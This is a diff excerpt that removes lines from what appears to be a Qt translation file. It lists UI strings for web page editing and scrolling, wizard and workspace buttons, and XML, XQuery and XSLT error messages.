    -            Web Inspector - %2
    -            Web Inspector - %2
    -        
    -        
    -            %1 (%2x%3 pixels)
    -            Title string for images
    -            %1 (%2x%3 pixels)
    -        
    -        
    -            Bad HTTP request
    -            Bad HTTP request
    -        
    -        
    -            This is a searchable index. Enter search keywords: 
    -            text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index'
    -            This is a searchable index. Enter search keywords: 
    -        
    -        
    -            Scroll here
    -            Scroll here
    -        
    -        
    -            Left edge
    -            Left edge
    -        
    -        
    -            Top
    -            Top
    -        
    -        
    -            Right edge
    -            Right edge
    -        
    -        
    -            Bottom
    -            Bottom
    -        
    -        
    -            Page left
    -            Page left
    -        
    -        
    -            Page up
    -            Page up
    -        
    -        
    -            Page right
    -            Page right
    -        
    -        
    -            Page down
    -            Page down
    -        
    -        
    -            Scroll left
    -            Scroll left
    -        
    -        
    -            Scroll up
    -            Scroll up
    -        
    -        
    -            Scroll right
    -            Scroll right
    -        
    -        
    -            Scroll down
    -            Scroll down
    -        
    -        
    -            %n file(s)
    -            number of chosen file
    -            
    -                %n file(s)
    -                %n file(s)
    -            
    -        
    -        
    -            JavaScript Alert - %1
    -            JavaScript Alert - %1
    -        
    -        
    -            JavaScript Confirm - %1
    -            JavaScript Confirm - %1
    -        
    -        
    -            JavaScript Prompt - %1
    -            JavaScript Prompt - %1
    -        
    -        
    -            JavaScript Problem - %1
    -            JavaScript Problem - %1
    -        
    -        
    -            The script on this page appears to have a problem. Do you want to stop the script?
    -            The script on this page appears to have a problem. Do you want to stop the script?
    -        
    -        
    -            Move the cursor to the next character
    -            Move the cursor to the next character
    -        
    -        
    -            Move the cursor to the previous character
    -            Move the cursor to the previous character
    -        
    -        
    -            Move the cursor to the next word
    -            Move the cursor to the next word
    -        
    -        
    -            Move the cursor to the previous word
    -            Move the cursor to the previous word
    -        
    -        
    -            Move the cursor to the next line
    -            Move the cursor to the next line
    -        
    -        
    -            Move the cursor to the previous line
    -            Move the cursor to the previous line
    -        
    -        
    -            Move the cursor to the start of the line
    -            Move the cursor to the start of the line
    -        
    -        
    -            Move the cursor to the end of the line
    -            Move the cursor to the end of the line
    -        
    -        
    -            Move the cursor to the start of the block
    -            Move the cursor to the start of the block
    -        
    -        
    -            Move the cursor to the end of the block
    -            Move the cursor to the end of the block
    -        
    -        
    -            Move the cursor to the start of the document
    -            Move the cursor to the start of the document
    -        
    -        
    -            Move the cursor to the end of the document
    -            Move the cursor to the end of the document
    -        
    -        
    -            Select all
    -            Select all
    -        
    -        
    -            Select to the next character
    -            Select to the next character
    -        
    -        
    -            Select to the previous character
    -            Select to the previous character
    -        
    -        
    -            Select to the next word
    -            Select to the next word
    -        
    -        
    -            Select to the previous word
    -            Select to the previous word
    -        
    -        
    -            Select to the next line
    -            Select to the next line
    -        
    -        
    -            Select to the previous line
    -            Select to the previous line
    -        
    -        
    -            Select to the start of the line
    -            Select to the start of the line
    -        
    -        
    -            Select to the end of the line
    -            Select to the end of the line
    -        
    -        
    -            Select to the start of the block
    -            Select to the start of the block
    -        
    -        
    -            Select to the end of the block
    -            Select to the end of the block
    -        
    -        
    -            Select to the start of the document
    -            Select to the start of the document
    -        
    -        
    -            Select to the end of the document
    -            Select to the end of the document
    -        
    -        
    -            Delete to the start of the word
    -            Delete to the start of the word
    -        
    -        
    -            Delete to the end of the word
    -            Delete to the end of the word
    -        
    -        
    -            Insert a new paragraph
    -            Insert a new paragraph
    -        
    -        
    -            Insert a new line
    -            Insert a new line
    -        
    -        
    -            Paste and Match Style
    -            Paste and Match Style
    -        
    -        
    -            Remove formatting
    -            Remove formatting
    -        
    -        
    -            Strikethrough
    -            Strikethrough
    -        
    -        
    -            Subscript
    -            Subscript
    -        
    -        
    -            Superscript
    -            Superscript
    -        
    -        
    -            Insert Bulleted List
    -            Insert Bulleted List
    -        
    -        
    -            Insert Numbered List
    -            Insert Numbered List
    -        
    -        
    -            Indent
    -            Indent
    -        
    -        
    -            Outdent
    -            Outdent
    -        
    -        
    -            Center
    -            Center
    -        
    -        
    -            Justify
    -            Justify
    -        
    -        
    -            Align Left
    -            Align Left
    -        
    -        
    -            Align Right
    -            Align Right
    -        
    -    
    -    
    -        QWhatsThisAction
    -        
    -            What's This?
    -            What's This?
    -        
    -    
    -    
    -        QWidget
    -        
    -            *
    -            *
    -        
    -    
    -    
    -        QWizard
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            < &Back
    -            < &Back
    -        
    -        
    -            &Finish
    -            &Finish
    -        
    -        
    -            &Help
    -            &Help
    -        
    -        
    -            Go Back
    -            Go Back
    -        
    -        
    -            Continue
    -            Continue
    -        
    -        
    -            Commit
    -            Commit
    -        
    -        
    -            Done
    -            Done
    -        
    -        
    -            &Next
    -            &Next
    -        
    -        
    -            &Next >
    -            &Next >
    -        
    -    
    -    
    -        QWorkspace
    -        
    -            &Restore
    -            &Restore
    -        
    -        
    -            &Move
    -            &Move
    -        
    -        
    -            &Size
    -            &Size
    -        
    -        
    -            Mi&nimize
    -            Mi&nimize
    -        
    -        
    -            Ma&ximize
    -            Ma&ximize
    -        
    -        
    -            &Close
    -            &Close
    -        
    -        
    -            Stay on &Top
    -            Stay on &Top
    -        
    -        
    -            Minimize
    -            Minimize
    -        
    -        
    -            Restore Down
    -            Restore Down
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Sh&ade
    -            Sh&ade
    -        
    -        
    -            %1 - [%2]
    -            %1 - [%2]
    -        
    -        
    -            &Unshade
    -            &Unshade
    -        
    -    
    -    
    -        QXml
    -        
    -            no error occurred
    -            no error occurred
    -        
    -        
    -            error triggered by consumer
    -            error triggered by consumer
    -        
    -        
    -            unexpected end of file
    -            unexpected end of file
    -        
    -        
    -            more than one document type definition
    -            more than one document type definition
    -        
    -        
    -            error occurred while parsing element
    -            error occurred while parsing element
    -        
    -        
    -            tag mismatch
    -            tag mismatch
    -        
    -        
    -            error occurred while parsing content
    -            error occurred while parsing content
    -        
    -        
    -            unexpected character
    -            unexpected character
    -        
    -        
    -            invalid name for processing instruction
    -            invalid name for processing instruction
    -        
    -        
    -            version expected while reading the XML declaration
    -            version expected while reading the XML declaration
    -        
    -        
    -            wrong value for standalone declaration
    -            wrong value for standalone declaration
    -        
    -        
    -            error occurred while parsing document type definition
    -            error occurred while parsing document type definition
    -        
    -        
    -            letter is expected
    -            letter is expected
    -        
    -        
    -            error occurred while parsing comment
    -            error occurred while parsing comment
    -        
    -        
    -            error occurred while parsing reference
    -            error occurred while parsing reference
    -        
    -        
    -            internal general entity reference not allowed in DTD
    -            internal general entity reference not allowed in DTD
    -        
    -        
    -            external parsed general entity reference not allowed in attribute value
    -            external parsed general entity reference not allowed in attribute value
    -        
    -        
    -            external parsed general entity reference not allowed in DTD
    -            external parsed general entity reference not allowed in DTD
    -        
    -        
    -            unparsed entity reference in wrong context
    -            unparsed entity reference in wrong context
    -        
    -        
    -            recursive entities
    -            recursive entities
    -        
    -        
    -            error in the text declaration of an external entity
    -            error in the text declaration of an external entity
    -        
    -        
    -            encoding declaration or standalone declaration expected while reading the XML declaration
    -            encoding declaration or standalone declaration expected while reading the XML declaration
    -        
    -        
    -            standalone declaration expected while reading the XML declaration
    -            standalone declaration expected while reading the XML declaration
    -        
    -    
    -    
    -        QXmlPatternistCLI
    -        
    -            Warning in %1, at line %2, column %3: %4
    -            Warning in %1, at line %2, column %3: %4
    -        
    -        
    -            Warning in %1: %2
    -            Warning in %1: %2
    -        
    -        
    -            Unknown location
    -            Unknown location
    -        
    -        
    -            Error %1 in %2, at line %3, column %4: %5
    -            Error %1 in %2, at line %3, column %4: %5
    -        
    -        
    -            Error %1 in %2: %3
    -            Error %1 in %2: %3
    -        
    -    
    -    
    -        QXmlStream
    -        
    -            Extra content at end of document.
    -            Extra content at end of document.
    -        
    -        
    -            Invalid entity value.
    -            Invalid entity value.
    -        
    -        
    -            Invalid XML character.
    -            Invalid XML character.
    -        
    -        
    -            Sequence ']]>' not allowed in content.
    -            Sequence ']]>' not allowed in content.
    -        
    -        
    -            Namespace prefix '%1' not declared
    -            Namespace prefix '%1' not declared
    -        
    -        
    -            Attribute redefined.
    -            Attribute redefined.
    -        
    -        
    -            Unexpected character '%1' in public id literal.
    -            Unexpected character '%1' in public id literal.
    -        
    -        
    -            Invalid XML version string.
    -            Invalid XML version string.
    -        
    -        
    -            Unsupported XML version.
    -            Unsupported XML version.
    -        
    -        
    -            %1 is an invalid encoding name.
    -            %1 is an invalid encoding name.
    -        
    -        
    -            Encoding %1 is unsupported
    -            Encoding %1 is unsupported
    -        
    -        
    -            Standalone accepts only yes or no.
    -            Standalone accepts only yes or no.
    -        
    -        
    -            Invalid attribute in XML declaration.
    -            Invalid attribute in XML declaration.
    -        
    -        
    -            Premature end of document.
    -            Premature end of document.
    -        
    -        
    -            Invalid document.
    -            Invalid document.
    -        
    -        
    -            Expected 
    -            Expected 
    -        
    -        
    -            , but got '
    -            , but got '
    -        
    -        
    -            Unexpected '
    -            Unexpected '
    -        
    -        
    -            Expected character data.
    -            Expected character data.
    -        
    -        
    -            Recursive entity detected.
    -            Recursive entity detected.
    -        
    -        
    -            Start tag expected.
    -            Start tag expected.
    -        
    -        
    -            XML declaration not at start of document.
    -            XML declaration not at start of document.
    -        
    -        
    -            NDATA in parameter entity declaration.
    -            NDATA in parameter entity declaration.
    -        
    -        
    -            %1 is an invalid processing instruction name.
    -            %1 is an invalid processing instruction name.
    -        
    -        
    -            Invalid processing instruction name.
    -            Invalid processing instruction name.
    -        
    -        
    -            Illegal namespace declaration.
    -            Illegal namespace declaration.
    -        
    -        
    -            Invalid XML name.
    -            Invalid XML name.
    -        
    -        
    -            Opening and ending tag mismatch.
    -            Opening and ending tag mismatch.
    -        
    -        
    -            Reference to unparsed entity '%1'.
    -            Reference to unparsed entity '%1'.
    -        
    -        
    -            Entity '%1' not declared.
    -            Entity '%1' not declared.
    -        
    -        
    -            Reference to external entity '%1' in attribute value.
    -            Reference to external entity '%1' in attribute value.
    -        
    -        
    -            Invalid character reference.
    -            Invalid character reference.
    -        
    -        
    -            Encountered incorrectly encoded content.
    -            Encountered incorrectly encoded content.
    -        
    -        
    -            The standalone pseudo attribute must appear after the encoding.
    -            The standalone pseudo attribute must appear after the encoding.
    -        
    -        
    -            %1 is an invalid PUBLIC identifier.
    -            %1 is an invalid PUBLIC identifier.
    -        
    -    
    -    
    -        QtXmlPatterns
    -        
    -            At least one component must be present.
    -            At least one component must be present.
    -        
    -        
    -            %1 is not a valid value of type %2.
    -            %1 is not a valid value of type %2.
    -        
    -        
    -            When casting to %1 from %2, the source value cannot be %3.
    -            When casting to %1 from %2, the source value cannot be %3.
    -        
    -        
    -            Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
    -            Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
    -        
    -        
    -            The data of a processing instruction cannot contain the string %1
    -            The data of a processing instruction cannot contain the string %1
    -        
    -        
    -            %1 is an invalid %2
    -            %1 is an invalid %2
    -        
    -        
    -            %1 is not a valid XML 1.0 character.
    -            %1 is not a valid XML 1.0 character.
    -        
    -        
    -            %1 was called.
    -            %1 was called.
    -        
    -        
    -            In the replacement string, %1 must be followed by at least one digit when not escaped.
    -            In the replacement string, %1 must be followed by at least one digit when not escaped.
    -        
    -        
    -            In the replacement string, %1 can only be used to escape itself or %2, not %3
    -            In the replacement string, %1 can only be used to escape itself or %2, not %3
    -        
    -        
    -            %1 matches newline characters
    -            %1 matches newline characters
    -        
    -        
    -            Matches are case insensitive
    -            Matches are case insensitive
    -        
    -        
    -            %1 is an invalid regular expression pattern: %2
    -            %1 is an invalid regular expression pattern: %2
    -        
    -        
    -            It will not be possible to retrieve %1.
    -            It will not be possible to retrieve %1.
    -        
    -        
    -            The default collection is undefined
    -            The default collection is undefined
    -        
    -        
    -            %1 cannot be retrieved
    -            %1 cannot be retrieved
    -        
    -        
    -            The item %1 did not match the required type %2.
    -            The item %1 did not match the required type %2.
    -        
    -        
    -            %1 is an unknown schema type.
    -            %1 is an unknown schema type.
    -        
    -        
    -            A template with name %1 has already been declared.
    -            A template with name %1 has already been declared.
    -        
    -        
    -            Only one %1 declaration can occur in the query prolog.
    -            Only one %1 declaration can occur in the query prolog.
    -        
    -        
    -            The initialization of variable %1 depends on itself
    -            The initialization of variable %1 depends on itself
    -        
    -        
    -            The variable %1 is unused
    -            The variable %1 is unused
    -        
    -        
    -            Version %1 is not supported. The supported XQuery version is 1.0.
    -            Version %1 is not supported. The supported XQuery version is 1.0.
    -        
    -        
    -            No function with signature %1 is available
    -            No function with signature %1 is available
    -        
    -        
    -            It is not possible to redeclare prefix %1.
    -            It is not possible to redeclare prefix %1.
    -        
    -        
    -            Prefix %1 is already declared in the prolog.
    -            Prefix %1 is already declared in the prolog.
    -        
    -        
    -            The name of an option must have a prefix. There is no default namespace for options.
    -            The name of an option must have a prefix. There is no default namespace for options.
    -        
    -        
    -            The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
    -            The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
    -        
    -        
    -            The target namespace of a %1 cannot be empty.
    -            The target namespace of a %1 cannot be empty.
    -        
    -        
    -            The module import feature is not supported
    -            The module import feature is not supported
    -        
    -        
    -            The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
    -            The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
    -        
    -        
    -            A function already exists with the signature %1.
    -            A function already exists with the signature %1.
    -        
    -        
    -            No external functions are supported. All supported functions can be used directly, without first declaring them as external
    -            No external functions are supported. All supported functions can be used directly, without first declaring them as external
    -        
    -        
    -            The %1-axis is unsupported in XQuery
    -            The %1-axis is unsupported in XQuery
    -        
    -        
    -            The namespace URI cannot be the empty string when binding to a prefix, %1.
    -            The namespace URI cannot be the empty string when binding to a prefix, %1.
    -        
    -        
    -            %1 is an invalid namespace URI.
    -            %1 is an invalid namespace URI.
    -        
    -        
    -            It is not possible to bind to the prefix %1
    -            It is not possible to bind to the prefix %1
    -        
    -        
    -            Two namespace declaration attributes have the same name: %1.
    -            Two namespace declaration attributes have the same name: %1.
    -        
    -        
    -            The namespace URI must be a constant and cannot use enclosed expressions.
    -            The namespace URI must be a constant and cannot use enclosed expressions.
    -        
    -        
    -            %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
    -            %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
    -        
    -        
    -            empty
    -            empty
    -        
    -        
    -            zero or one
    -            zero or one
    -        
    -        
    -            exactly one
    -            exactly one
    -        
    -        
    -            one or more
    -            one or more
    -        
    -        
    -            zero or more
    -            zero or more
    -        
    -        
    -            The focus is undefined.
    -            The focus is undefined.
    -        
    -        
    -            An attribute by name %1 has already been created.
    -            An attribute by name %1 has already been created.
    -        
    -        
    -            Network timeout.
    -            Network timeout.
    -        
    -        
    -            Element %1 can't be serialized because it appears outside the document element.
    -            Element %1 can't be serialized because it appears outside the document element.
    -        
    -        
    -            Year %1 is invalid because it begins with %2.
    -            Year %1 is invalid because it begins with %2.
    -        
    -        
    -            Day %1 is outside the range %2..%3.
    -            Day %1 is outside the range %2..%3.
    -        
    -        
    -            Month %1 is outside the range %2..%3.
    -            Month %1 is outside the range %2..%3.
    -        
    -        
    -            Overflow: Can't represent date %1.
    -            Overflow: Can't represent date %1.
    -        
    -        
    -            Day %1 is invalid for month %2.
    -            Day %1 is invalid for month %2.
    -        
    -        
    -            Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
    -            Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
    -        
    -        
    -            Time %1:%2:%3.%4 is invalid.
    -            Time %1:%2:%3.%4 is invalid.
    -        
    -        
    -            Overflow: Date can't be represented.
    -            Overflow: Date can't be represented.
    -        
    -        
    -            At least one time component must appear after the %1-delimiter.
    -            At least one time component must appear after the %1-delimiter.
    -        
    -        
    -            Dividing a value of type %1 by %2 (not-a-number) is not allowed.
    -            Dividing a value of type %1 by %2 (not-a-number) is not allowed.
    -        
    -        
    -            Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
    -            Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
    -        
    -        
    -            Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
    -            Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
    -        
    -        
    -            A value of type %1 cannot have an Effective Boolean Value.
    -            A value of type %1 cannot have an Effective Boolean Value.
    -        
    -        
    -            Value %1 of type %2 exceeds maximum (%3).
    -            Value %1 of type %2 exceeds maximum (%3).
    -        
    -        
    -            Value %1 of type %2 is below minimum (%3).
    -            Value %1 of type %2 is below minimum (%3).
    -        
    -        
    -            A value of type %1 must contain an even number of digits. The value %2 does not.
    -            A value of type %1 must contain an even number of digits. The value %2 does not.
    -        
    -        
    -            %1 is not valid as a value of type %2.
    -            %1 is not valid as a value of type %2.
    -        
    -        
    -            Operator %1 cannot be used on type %2.
    -            Operator %1 cannot be used on type %2.
    -        
    -        
    -            Operator %1 cannot be used on atomic values of type %2 and %3.
    -            Operator %1 cannot be used on atomic values of type %2 and %3.
    -        
    -        
    -            The namespace URI in the name for a computed attribute cannot be %1.
    -            The namespace URI in the name for a computed attribute cannot be %1.
    -        
    -        
    -            The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
    -            The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
    -        
    -        
    -            Type error in cast, expected %1, received %2.
    -            Type error in cast, expected %1, received %2.
    -        
    -        
    -            When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
    -            When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
    -        
    -        
    -            A comment cannot contain %1
    -            A comment cannot contain %1
    -        
    -        
    -            A comment cannot end with a %1.
    -            A comment cannot end with a %1.
    -        
    -        
    -            An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
    -            An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
    -        
    -        
    -            A library module cannot be evaluated directly. It must be imported from a main module.
    -            A library module cannot be evaluated directly. It must be imported from a main module.
    -        
    -        
    -            No template by name %1 exists.
    -            No template by name %1 exists.
    -        
    -        
    -            A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
    -            A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
    -        
    -        
    -            A positional predicate must evaluate to a single numeric value.
    -            A positional predicate must evaluate to a single numeric value.
    -        
    -        
    -            The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.
    -            The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.
    -        
    -        
    -            %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
    -            %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
    -        
    -        
    -            The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
    -            The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
    -        
    -        
    -            No namespace binding exists for the prefix %1
    -            No namespace binding exists for the prefix %1
    -        
    -        
    -            No namespace binding exists for the prefix %1 in %2
    -            No namespace binding exists for the prefix %1 in %2
    -        
    -        
    -            The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
    -            The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
    -        
    -        
    -            The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -            The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -        
    -            The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -            The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -        
    -            If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
    -            If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
    -        
    -        
    -            %1 must be followed by %2 or %3, not at the end of the replacement string.
    -            %1 must be followed by %2 or %3, not at the end of the replacement string.
    -        
    -        
    -            %1 and %2 match the start and end of a line.
    -            %1 and %2 match the start and end of a line.
    -        
    -        
    -            Whitespace characters are removed, except when they appear in character classes
    -            Whitespace characters are removed, except when they appear in character classes
    -        
    -        
    -            %1 is an invalid flag for regular expressions. Valid flags are:
    -            %1 is an invalid flag for regular expressions. Valid flags are:
    -        
    -        
    -            If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
    -            If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
    -        
    -        
    -            The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
    -            The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
    -        
    -        
    -            A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
    -            A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
    -        
    -        
    -            Required cardinality is %1; got cardinality %2.
    -            Required cardinality is %1; got cardinality %2.
    -        
    -        
    -            The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
    -            The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
    -        
    -        
    -            The keyword %1 cannot occur with any other mode name.
    -            The keyword %1 cannot occur with any other mode name.
    -        
    -        
    -            No variable with name %1 exists
    -            No variable with name %1 exists
    -        
    -        
    -            The value of attribute %1 must be of type %2, which %3 isn't.
    -            The value of attribute %1 must be of type %2, which %3 isn't.
    -        
    -        
    -            The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.
    -            The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.
    -        
    -        
    -            A variable with name %1 has already been declared.
    -            A variable with name %1 has already been declared.
    -        
    -        
    -            No value is available for the external variable with name %1.
    -            No value is available for the external variable with name %1.
    -        
    -        
    -            A stylesheet function must have a prefixed name.
    -            A stylesheet function must have a prefixed name.
    -        
    -        
    -            The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
    -            The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
    -        
    -        
    -            An argument with name %1 has already been declared. Every argument name must be unique.
    -            An argument with name %1 has already been declared. Every argument name must be unique.
    -        
    -        
    -            When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
    -            When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
    -        
    -        
    -            In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
    -            In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
    -        
    -        
    -            In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
    -            In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
    -        
    -        
    -            In an XSL-T pattern, function %1 cannot have a third argument.
    -            In an XSL-T pattern, function %1 cannot have a third argument.
    -        
    -        
    -            In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
    -            In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
    -        
    -        
    -            In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
    -            In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
    -        
    -        
    -            %1 is an invalid template mode name.
    -            %1 is an invalid template mode name.
    -        
    -        
    -            The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
    -            The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
    -        
    -        
    -            The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
    -            The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
    -        
    -        
    -            None of the pragma expressions are supported. Therefore, a fallback expression must be present
    -            None of the pragma expressions are supported. Therefore, a fallback expression must be present
    -        
    -        
    -            Each name of a template parameter must be unique; %1 is duplicated.
    -            Each name of a template parameter must be unique; %1 is duplicated.
    -        
    -        
    -            No function with name %1 is available.
    -            No function with name %1 is available.
    -        
    -        
    -            %1 is not a valid numeric literal.
    -            %1 is not a valid numeric literal.
    -        
    -        
    -            W3C XML Schema identity constraint selector
    -            W3C XML Schema identity constraint selector
    -        
    -        
    -            W3C XML Schema identity constraint field
    -            W3C XML Schema identity constraint field
    -        
    -        
    -            A construct was encountered which is disallowed in the current language(%1).
    -            A construct was encountered which is disallowed in the current language(%1).
    -        
    -        
    -            Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -            Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -        
    -            Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -            Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -        
    -            An attribute with name %1 has already appeared on this element.
    -            An attribute with name %1 has already appeared on this element.
    -        
    -        
    -            A direct element constructor is not well-formed. %1 is ended with %2.
    -            A direct element constructor is not well-formed. %1 is ended with %2.
    -        
    -        
    -            The name %1 does not refer to any schema type.
    -            The name %1 does not refer to any schema type.
    -        
    -        
    -            %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
    -            %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
    -        
    -        
    -            %1 is not an atomic type. Casting is only possible to atomic types.
    -            %1 is not an atomic type. Casting is only possible to atomic types.
    -        
    -        
    -            %1 is not a valid name for a processing-instruction.
    -            %1 is not a valid name for a processing-instruction.
    -        
    -        
    -            The name of an extension expression must be in a namespace.
    -            The name of an extension expression must be in a namespace.
    -        
    -        
    -            Required type is %1, but %2 was found.
    -            Required type is %1, but %2 was found.
    -        
    -        
    -            Promoting %1 to %2 may cause loss of precision.
    -            Promoting %1 to %2 may cause loss of precision.
    -        
    -        
    -            It's not possible to add attributes after any other kind of node.
    -            It's not possible to add attributes after any other kind of node.
    -        
    -        
    -            Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
    -            Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
    -        
    -        
    -            Integer division (%1) by zero (%2) is undefined.
    -            Integer division (%1) by zero (%2) is undefined.
    -        
    -        
    -            Division (%1) by zero (%2) is undefined.
    -            Division (%1) by zero (%2) is undefined.
    -        
    -        
    -            Modulus division (%1) by zero (%2) is undefined.
    -            Modulus division (%1) by zero (%2) is undefined.
    -        
    -        
    -            %1 takes at most %n argument(s). %2 is therefore invalid.
    -            
    -                %1 takes at most %n argument(s). %2 is therefore invalid.
    -                %1 takes at most %n argument(s). %2 is therefore invalid.
    -            
    -        
    -        
    -            %1 requires at least %n argument(s). %2 is therefore invalid.
    -            
    -                %1 requires at least %n argument(s). %2 is therefore invalid.
    -                %1 requires at least %n argument(s). %2 is therefore invalid.
    -            
    -        
    -        
    -            The root node of the second argument to function %1 must be a document node. %2 is not a document node.
    -            The root node of the second argument to function %1 must be a document node. %2 is not a document node.
    -        
    -        
    -            The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
    -            The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
    -        
    -        
    -            A default namespace declaration must occur before function, variable, and option declarations.
    -            A default namespace declaration must occur before function, variable, and option declarations.
    -        
    -        
    -            Namespace declarations must occur before function, variable, and option declarations.
    -            Namespace declarations must occur before function, variable, and option declarations.
    -        
    -        
    -            Module imports must occur before function, variable, and option declarations.
    -            Module imports must occur before function, variable, and option declarations.
    -        
    -        
    -            %1 is not a whole number of minutes.
    -            %1 is not a whole number of minutes.
    -        
    -        
    -            Attribute %1 can't be serialized because it appears at the top level.
    -            Attribute %1 can't be serialized because it appears at the top level.
    -        
    -        
    -            %1 is an unsupported encoding.
    -            %1 is an unsupported encoding.
    -        
    -        
    -            %1 contains octets which are disallowed in the requested encoding %2.
    -            %1 contains octets which are disallowed in the requested encoding %2.
    -        
    -        
    -            The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
    -            The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
    -        
    -        
    -            Ambiguous rule match.
    -            Ambiguous rule match.
    -        
    -        
    -            In a namespace constructor, the value for a namespace cannot be an empty string.
    -            In a namespace constructor, the value for a namespace cannot be an empty string.
    -        
    -        
    -            The prefix must be a valid %1, which %2 is not.
    -            The prefix must be a valid %1, which %2 is not.
    -        
    -        
    -            The prefix %1 cannot be bound.
    -            The prefix %1 cannot be bound.
    -        
    -        
    -            Only the prefix %1 can be bound to %2 and vice versa.
    -            Only the prefix %1 can be bound to %2 and vice versa.
    -        
    -        
    -            The parameter %1 is required, but no corresponding %2 is supplied.
    -            The parameter %1 is required, but no corresponding %2 is supplied.
    -        
    -        
    -            The parameter %1 is passed, but no corresponding %2 exists.
    -            The parameter %1 is passed, but no corresponding %2 exists.
    -        
    -        
    -            The URI cannot have a fragment
    -            The URI cannot have a fragment
    -        
    -        
    -            Element %1 is not allowed at this location.
    -            Element %1 is not allowed at this location.
    -        
    -        
    -            Text nodes are not allowed at this location.
    -            Text nodes are not allowed at this location.
    -        
    -        
    -            Parse error: %1
    -            Parse error: %1
    -        
    -        
    -            The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
    -            The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
    -        
    -        
    -            Running an XSL-T 1.0 stylesheet with a 2.0 processor.
    -            Running an XSL-T 1.0 stylesheet with a 2.0 processor.
    -        
    -        
    -            Unknown XSL-T attribute %1.
    -            Unknown XSL-T attribute %1.
    -        
    -        
    -            Attribute %1 and %2 are mutually exclusive.
